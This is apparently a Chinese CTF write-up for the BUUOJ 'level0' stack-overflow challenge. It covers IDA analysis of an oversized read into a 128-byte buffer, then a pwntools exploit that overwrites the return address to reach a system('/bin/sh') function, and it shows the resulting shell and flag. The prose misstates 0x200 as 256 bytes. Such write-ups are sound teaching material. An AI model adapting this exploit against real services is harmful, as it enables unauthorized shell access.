

栈溢出的基本题目，有之前的好几道题目打底，这道题没调试就直接上了。。。

```
IDA View-A x Pseudocode-A x Pseudocode-B x Stack of vulnerable_function x Hex View-1 x
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     write(1, "Hello, World\n", 0xDuLL);
4     return vulnerable_function();
5 }
```

平平无奇

点击vulnerable\_function()函数

```
1 ssize_t vulnerable_function()
2 {
3     char buf[128]; // [rsp+0h] [rbp-80h] BYREF
4
5     return read(0, buf, 0x200uLL);
6 }
```

看到盲点，buf只有128字节的大小，但是read读了256字节

```
-000000000000000080
-000000000000000080 buf db 128 dup(?)
+000000000000000000 s db 8 dup(?)
+000000000000000008 r db 8 dup(?)
+000000000000000010
+000000000000000010 ; end of stack variables
```

看到栈溢出的点了

然后查看能利用的函数。

```
IDA View-A  Pseudocode-A  Pseudocode-B  Stack of vulnerab.
1 int callsystem()
2 {
3     return system("/bin/sh");
4 }
```

得到了可以利用的函数。

看一下该程序的保护。

```
root@kali:/home/kali/Desktop/ctf# checksec level0
[*] '/home/kali/Desktop/ctf/level0'
Arch:      amd64-64-little
RELRO:     No RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

可以看到只开了NX保护，即栈不可执行。

## exp

```
文件(F) 编辑(E) 搜索(S) 视图(V) 文档(D) 帮助(H)
from pwn import *
io = remote('node3.buuoj.cn',27724)
payload = b'a'*128 + b'a'*8 + p64(0x400596)
io.sendline(payload)
io.interactive()
```

```
#B
To disable this functionality, set the contents of /root/.cache/pwntools-cache-3.8/update to 'never' (o
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[+] You have the latest version of Pwntools (4.5.0)
[+] Opening connection to node3.buuoj.cn on port 27724: Done
[*] Switching to interactive mode
Hello, World
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
```

```
tmp
usr
var
$ cat flag
flag{9db33b07-5d50-4449-8abf-9a709f2d68a7}
$ cat flag.txt
flag{9db33b07-5d50-4449-8abf-9a709f2d68a7}
```